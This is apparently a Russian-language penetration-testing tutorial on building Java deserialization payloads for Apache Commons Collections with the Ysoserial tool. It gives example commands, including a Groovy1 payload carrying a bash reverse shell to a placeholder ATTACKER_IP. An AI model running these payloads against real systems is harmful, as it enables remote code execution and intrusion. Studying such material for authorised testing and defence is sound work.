Apache Commons Collections является популярным набором утилит в Java. Но, в нем была обнаружена уязвимость, которая может повлечь за собой серьезные последствия для безопасности приложений, использующих эту библиотеку. В статье рассмотрим процесс создания полезной нагрузки с ипользованием Ysoserial.
Еще по теме: Обзор лучших сканеров уязвимостей
Уязвимости Apache Commons Collections
Apache Commons Collections — это библиотека в языке Java, предоставляющая различные структуры данных и утилиты для работы с коллекциями объектов.
Но в прошлом в библиотеке Apache Commons Collections были обнаружены уязвимости, связанные с десериализацией объектов, которые могли быть использованы злоумышленниками для выполнения произвольного кода на целевой системе. Такие уязвимости могут привести к удаленному выполнению кода, если не обрабатываются должным образом.
Статья в образовательных целях, для обучения этичных хакеров. Использование данного инструмента и подобных утилит без соответствующего разрешения является незаконным.
Установка и использование Ysoserial
Ysoserial — это инструмент, который может использоваться для генерации пейлоадов (полезных нагрузок) для различных уязвимостей десериализации Java, включая уязвимости в библиотеке Apache Commons Collections.
Установка Ysoserial
- Скачайте и установите Java Development Kit (см. Как установить Java 8 OpenJDK на Kali Linux).
- Скачайте Ysoserial из репозитория GitHub.
- Скомпилируйте исходный код Ysoserial или скачайте предварительно скомпилированный JAR-файл.
Параметры использования Ysoserial
Ysoserial запускается из командной строки и имеет различные опции для создания сериализованных полезных нагрузок для различных уязвимостей десериализации.
Основной синтаксис команды:
1 |
java -jar ysoserial.jar [payload] '[command]' |
- [ payload] — указывает тип полезной нагрузки (например, CommonsCollections1, CommonsCollections2, Jdk7u21, Jython1, и т.д.).
- [ command] — это команда, которая будет выполнена при десериализации полезной нагрузки (например, команда для выполнения на целевой системе).
Полезная нагрузка, созданная Ysoserial является сериализованным Java-объектом, поэтому ее следует отправить в уязвимое приложение через соответствующий входной канал (например, параметр HTTP-запроса), чтобы использовать уязвимость.
Полезная нагрузка с Ysoserial и CommonsCollections
Вот пример того, как использовать Ysoserial для создания полезной нагрузки, которая позволит выполнять произвольные команды с помощью CommonsCollections1.
Создание полезной нагрузки с использованием CommonsCollections1:
1 |
java -jar ysoserial.jar CommonsCollections1 "cmd /c calc" > payload.ser |
Эта команда создаст сериализованную полезную нагрузку, которая при десериализации выполнит команду calc в Windows.
Другие полезные нагрузки с помощью Ysoserial
Создание полезной нагрузки с использованием Jython1:
1 |
java -jar ysoserial.jar Jython1 'import os; os.system("calc");' |
Создание полезной нагрузки с использованием Groovy1:
1 |
java -jar ysoserial.jar Groovy1 '["/bin/bash", "-c", "bash -i >& /dev/tcp/ATTACKER_IP/ATTACKER_PORT 0>&1"]' |
Заключение
Важно понимать, что уязвимости, связанные с десериализацией, являются реальной угрозой, и поэтому рекомендуется обновлять библиотеки и использовать меры предосторожности, чтобы защитить приложения от возможных атак.
Также стоит учитывать, что многие системы применяют меры по предотвращению уязвимостей десериализации, поэтому важно протестировать полезные нагрузки на конкретной системе, которую вы хотите атаковать
ПОЛЕЗНЫЕ ССЫЛКИ:
- IDOR уязвимость на практике
- Часто используемые полезные нагрузки SSRF
- Популярные полезные нагрузки XSS для баг-баунти